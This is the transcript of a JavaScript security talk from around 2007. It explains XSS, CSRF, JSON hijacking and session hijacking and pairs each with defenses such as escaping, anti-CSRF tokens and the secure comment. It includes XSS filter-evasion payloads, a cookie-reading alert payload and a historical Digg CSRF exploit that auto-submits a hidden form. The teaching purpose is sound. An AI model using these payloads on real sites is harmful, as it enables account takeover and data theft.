javascript security
DESCRIPTION
JavaScript, as it is today, is an insecure language. We need to understand it's shortcomings to improve the security of our applications to protect our users.TRANSCRIPT
JavaScript Security
jason harwig
"How dangerous could this silly little toy
scripting language running inside a browser be?"
Jeff Atwoodcodinghorror.comstackoverflow.com
douglas crockford
“JavaScript's biggest weakness is that it is
not secure.”
WhiteHat Security Website Security Statistic Report
"...nine out of 10 websites still have serious
vulnerabilities. .. (XSS) as the top
vulnerability class"
1. XSS
2. Injection Flaws
3. File Exec
4. Direct Object Reference
5. CSRF
6. Information Leakage
7. Broken Auth
8. Insecure Crypto
9. Insecure Communications
10.Failure to restrict URL access
OWASP Top 10 2007
browser limitations
javascript IO
• Ajax
• Image
• iFrame
• Source script
• Bridge to flash, Java applets
var xhr = new XmlHttpRequest();
xhr.open(...)
* get or post
NIC Server Google
var image = new Image();
image.src = url;
* can detect connection success failure
* get requests only | onload | onerror
NIC Server Google
f = document.createElement('iframe');
f.src = url;
document.body.appendChild(f);
* only if same domain
* get requests only
NIC Server Google
s = document.createElement('script');
s.type = 'text/javascript';
s.src= url;
document.body.appendChild(s);
* if JSON returned
* get requests only
NIC Server Google
f = document.createElement('form');
f.method = 'post';
...
f.submit();
* get or post
NIC Server Google
white hat
• Mashup / Aggregate content
• SSO Solutions
• Protect users / application integrity
black hat
• XSS
• CSRF
• JSON hi-jacking
• Cookie session hijacking
• Internal network scanning
• History checking
cross-site scripting
same origin policy
Browser IFrameIFrame
user input
escape it!
XSS Flavors
• Type 0 - DOM
• Type 1 - Non-Persistant
• Type 2 - Persistant
type 0
var p = location.href.params;document.body.innerHTML = p
<script>alert('xss');</script>Search:
Type 1
<script>alert('xss');</script>Please enter username:
Type 2
<c:out value="${var}" escapeXml="true"/>Your Username: <script>alert('xss');</script>
html filtering
samy is my hero
from http://fast.info/myspace/
0
1,750
3,500
5,250
7,000
12:34pm 1:30am 8:35am 9:30am 10:30am 1:30pm
Friend Requests
<div style="background:url( 'javascript:alert('xss')')">
tag/attribute whitelist
<div style="background:url( 'java\nscript:alert('xss')')">
'javascript' stripped
String.fromCharCode(34);
\" stripped
eval('document.body.inne' + 'rHTML');
innerHTML stripped
eval('xmlhttp.onread' + 'ystatechange = callback');
onreadystatechange stripped
to be continued...
alternatives to escaping?
google caja / ADsafe
attack vectors to prevent?
eval('alert(document.cookie)');(new Function('alert(document.cookie)'))();
code evaluation
code eval continued
<iframe src="java�script:alert('xss')"></iframe>
poluting global objects
try { throw EvilArrayFunction;} catch (Array) { }
xss lessons
• Escape XML
cross site request forgerythe new kid
NIC Server Google
Digg.com
• “digg” a story while logged in
• Cookie authentication
• known url, parameters
digg exploit code
mf = window.frames["myframe"];html = '<form name="diggform" \ action="http://digg.com/diginfull" method="post">';html = html+'<input type="text" name="id" value="367034"/>';html = html+'<input type="text" name="orderchange" value="2"/>';html = html+'<input type="text" name="category" value="0"/>';html = html+'<input type="text" name="page" value="0"/>';html = html+'<input type="text" name="t" value="undefined"/>';html = html+'<input type="text" name="row" value="1"/>';html = html+'</form>';mf.document.body.innerHTML = html;mf.document.diggform.submit();
from http://4diggers.blogspot.com/
Fixes?
• Referral checking?
• quick cookie expiration?
• post?
session.setAttribute("token", token);
<input type="hidden" value="${token}"/>
solved
double submit cookie
digg link
<a href="javascript:dig([num],[id],[digCheck])">digg it</a>
digg submit js
new Ajax.Request("/diginfull", { "method": "post", "parameters": "id=" + itemd + "&row=" + row + "&digcheck=" + digcheck + "&type=" + type + "&loc=" + pagetype});
no diggcheck, no digg
digg.com
• Added random hash as post parameter
• server verifies request
myspace
• used hash in post to add friends
• XSS vulnerable so the hash could be retrieved
HDIV
• HTTP Data Integrity Validator
rsnake joins twitter
crossdomain.xml
<?xml version="1.0" encoding="UTF-8"?><cross-domain-policy xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://www.adobe.com/xml/schemas/PolicyFile.xsd"> <allow-access-from domain="*.twitter.com" /> <site-control permitted-cross-domain-policies="master-only"/> <allow-http-request-headers-from domain="*.twitter.com" headers="*" secure="true"/></cross-domain-policy>
http://www.yourminis.com/search_minis.aspx?q=XSS
stealing your gmail contacts
google contacts url
contacts?out=js&callback=google
google ({ Success: true, Errors: [], Body: { Contacts: [ { id, email, etc. } ] }});
responseText
google’s solution?
• responseXml
lessons
• Protect high value forms
• CANNOT be stopped if site is vulnerable to XSS
json hijacking
new Ajax.Request('secretStuff', { onSuccess: doWork});
// server responds with[ { sensitive_info: '...' }, { sensitive_info: '...' }]
So how do I do it?
• Override Array
• Source script
demo
solved
/*-secure-
[ { sensitive_info: '...' }, { sensitive_info: '...' }]
*/
“solved” continued
• protect JSON services behind post
lessons
• Many experts recommend JSON services shouldn’t serve sensitive data
• use secure comment
• responseXml as alternative
Session hijacking
demo
internal network penetration
history hijack
demo
resources
"Security Now! Podcast"twit.tv/sn
"WhiteHat Security"whitehatsec.com
"Jeremiah Grossman Blog"jeremiahgrossman.blogspot.com
"Digg Hack"4diggers.blogspot.com
"Fortify"fortifysoftware.com/security-resources/
"XSS Generator"ha.ckers.org/xss.html
"Samy is my Hero"fast.info/myspace
"HDIV"hdiv.org